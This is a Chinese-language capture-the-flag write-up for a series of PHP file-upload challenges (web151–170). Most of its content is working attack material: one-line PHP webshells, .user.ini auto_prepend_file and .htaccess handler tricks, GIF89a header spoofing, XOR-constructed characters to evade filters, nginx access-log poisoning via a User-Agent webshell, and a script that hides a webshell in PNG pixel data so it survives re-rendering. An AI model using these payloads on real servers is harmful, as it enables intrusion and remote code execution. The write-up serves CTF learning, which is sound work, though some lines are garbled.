web151

文件上传的第一题,只有一个绕过

写马

<?=
@eval($_POST['x']);
echo('luck');
?>

署名1.png,这样上传时用burpsuite拦截,把png改回php,

可浏览/upload/1.php看回显,出现luck说明上传成功

接着使用蚁剑链接,翻flag

web152-155

.user.ini的使用

首先要用.user.ini.,在upload的文件夹中,至少有一个php文件,否则不可用

我们先浏览/upload,有回显,盲猜index.php,之后的链接蚁剑等工作都在/upload/index.php中

首先上传.user.ini

auto_prepend_file=2.png

上传成功后,之后直接上传2.png,不需要拦截

之后直接访问/upload/index.php即可

这几题都是各种过滤,我们采用在图片中写马,传入后用蚁剑链接,翻到flag

各种过滤,最后得到综合的2.png

<?=eval($_POST[1])?>

web156-157

把[]过滤了,我们可以试着采用别的指令

之前都是传马用蚁剑链接,这次可以试着直接上传读取flag的指令,

<?=system('cat /var/www/html/flag.???')?>

/var/www/html是默认的路径,我们可以试着猜一下路径,直接用cat读取出flag

web158-160

学一个更猛的,联系到直接文件包含漏洞中的日志包含漏洞

首先常规上传user.ini,接着传2.png

<?=include"/var/lo"."g/nginx/access.lo"."g?>

把这个传上去的时候,用burpsuite拦截,在UA里写马,接着可以用蚁剑链接或者post各种指令得到flag

web161

开头检查,要加一个

GIF89a

就能绕过了

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g?>

.user.ini也要加

,用前面的日志包含,得到flag

web162

“.”,被禁,构造一个“.”,

GIF89a
<?=$a="]"?>
<?=$d="s"?>
<?=$b=$d^$a?>
<?=$g="l"?>
<?=$o="o"?>
<?=$c="g"?>
<?=include"/var/$g$o$c/nginx/access$b$g$o$c"?>

还是用日志包含,得到flag

web163

哥我真不会

web164

上传结束后,已经看不见路径了,但还能下载图片,这时候就可以使用二次渲染,

首先构造一张png图片马

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>


运行后,得到一张图片马,2.png

接着上传后,点查看图片,用hackbar传参,

www.xxxx/xxx.png?0=system

用post传1,RCE得到flag

下载图片,用文本打开

塒NG


IHDR  ?恚 pHYs ? ?? `IDATH塩\download.php
flag.php
images
index.php
js
layui
upload
upload.php
upload.phpX€亖羢^7擖弸踾_觹?黢闵縚?|?0c俟g=?寕Q0
F?寕Q0
? 伈 x
IEND瓸`?

成功了,接着执行命令,得到flag

web165

这次用的是jpg图片马,其他跟上面一样

web166

操作跟上面差不多

这压缩包一直写一个马改个后缀就能传上去了

后面接RCE

web167

这题可以用.htaccess

意思是说,先上传.htaccess,然后再直接传图片文件,图片文件会已php形式被解析

Sethandler application/x-httpd-php

首先是一个修改后缀绕过jpg,然后直接上传.htaccess和webshell.png

蚁剑链接得到flag

web168

基础免杀,先上传一个普通的png,用bp拦截,

发送到repeater,把内容删掉,后缀改成php,然后往里面写php语句,因为这次没有下载,而是查看

所以应该是每写一句,用repeater发送一句,接着在浏览器里刷新看回显

接着就是普通的RCE

system,eval什么都被禁了,

构造payload

<?= `ls`?>
<?= `ls /`?>
<?= `ls ../`?>
<?= `cat flagaa.php`?>

得到flag

web169-170

玩什么高级免杀,换一招

这次看upload/index.php,发现没了,我们可以赌一下,自己上传一个,万一不改名,被系统当自己文件了呢

这次很怪,前端要求类型是zip,后端却要求png,所以上传的东西先改后缀,再在bp里改成image/png

先传index.php

发现真的没改名,可以在/upload/index.php浏览

接着传user.ini

改的地方有四处

UA:<?= eval(&_POST[])?> //直接在ua里传马
内容:GIF89a
auto_prepend_file=/var/log/nginx/access.log //写入日志包含地址
类型:.ini
image/png

传进去,打开/upload/index.php,意外发现真的有日志,之后蚁剑链接得到flag

完结完结,真的坐牢。